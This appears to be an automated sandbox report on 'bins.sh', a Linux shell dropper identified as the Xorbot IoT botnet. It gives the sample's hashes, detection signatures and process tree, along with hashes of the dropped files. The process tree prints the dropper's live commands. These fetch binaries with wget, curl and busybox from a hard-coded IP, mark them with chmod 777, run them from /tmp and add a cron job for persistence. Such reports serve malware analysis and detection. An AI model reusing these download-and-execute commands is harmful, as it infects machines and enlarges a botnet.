Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01-12-2024 22:27

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7187e723d6c6ea19e696987e38c40047

  • SHA1

    2c99d3c07e904340b7d1bcec7afd801fd513c89b

  • SHA256

    6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9

  • SHA512

    809dbae9c9c2c1d24653f28bc97f465a8db299c250acee7370187698501afba9c55cd1935d07ed5054a10bfa753648c8f951ac7d1cc04c4818674bc67c1cef85

  • SSDEEP

    192:hWHDT6y8LZfhfRfBfMfwfvg8UzTNR9+B1te+SbtRp+eQjfhfRfBfMfwfrg8UzT/U:hFLhpZJGier+B1te+S2TpZJGiRB1te+x

Malware Config

Signatures

  • Detects Xorbot 3 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 5 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1484
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1485
        • /usr/bin/wget
          wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:1486
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/chmod
          chmod 777 g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • File and Directory Permissions Modification
          PID:1500
        • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          ./g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Executes dropped EXE
          PID:1501
        • /bin/rm
          rm g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
            PID:1503
          • /usr/bin/wget
            wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Writes file to tmp directory
            PID:1504
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Writes file to tmp directory
            PID:1505
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Writes file to tmp directory
            PID:1506
          • /bin/chmod
            chmod 777 je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • File and Directory Permissions Modification
            PID:1507
          • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            ./je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Executes dropped EXE
            PID:1508
          • /bin/rm
            rm je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
              PID:1510
            • /usr/bin/wget
              wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:1511
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:1512
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:1513
            • /bin/chmod
              chmod 777 d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • File and Directory Permissions Modification
              PID:1514
            • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              ./d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Executes dropped EXE
              PID:1515
            • /bin/rm
              rm d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
                PID:1517
              • /usr/bin/wget
                wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                • Writes file to tmp directory
                PID:1518
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                • Writes file to tmp directory
                PID:1519
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                • Writes file to tmp directory
                PID:1520
              • /bin/chmod
                chmod 777 sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                • File and Directory Permissions Modification
                PID:1521
              • /tmp/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                ./sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                • Executes dropped EXE
                PID:1522
              • /bin/rm
                rm sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                2⤵
                  PID:1524
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  2⤵
                  • Writes file to tmp directory
                  PID:1525
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  2⤵
                  • Writes file to tmp directory
                  PID:1526
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  2⤵
                  • Writes file to tmp directory
                  PID:1527
                • /bin/chmod
                  chmod 777 IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1528
                • /tmp/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  ./IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:1529
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:1531
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:1532
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:1533
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:1534
                      • /bin/rm
                        rm IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ
                        2⤵
                          PID:1536
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/ZTBTxkWg4xncfMdP0THVi0RlY6LEm2eTSz
                          2⤵
                            PID:1539

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/IMJUiDXR3WbsSr7J34Egmj1CGnaWW6jmWQ

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ

                          Filesize

                          141KB

                          MD5

                          3ca8decdb1e52c423c521bfff02ac200

                          SHA1

                          8621ecd6807109b8541912ad9e134f6fb49bfd48

                          SHA256

                          dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                          SHA512

                          b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                        • /tmp/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /var/spool/cron/crontabs/tmp.3DnlrU

                          Filesize

                          210B

                          MD5

                          a74320b742c69047c7e8803500702679

                          SHA1

                          829ebdbeb5bd12ff012fa3a83db60d113bef847e

                          SHA256

                          3af23bd95603b516ec8108d16eede440ebd6302fdb3a7ee098dd3f97e52d08d9

                          SHA512

                          fbd9043a4434ae1d356150fb0adc24b46ee67c95f782f59a88804901fceaa0fb07dbd68e58db10d3d509e734df38af13f845feaca0699bd1d96f9ddf03466dd0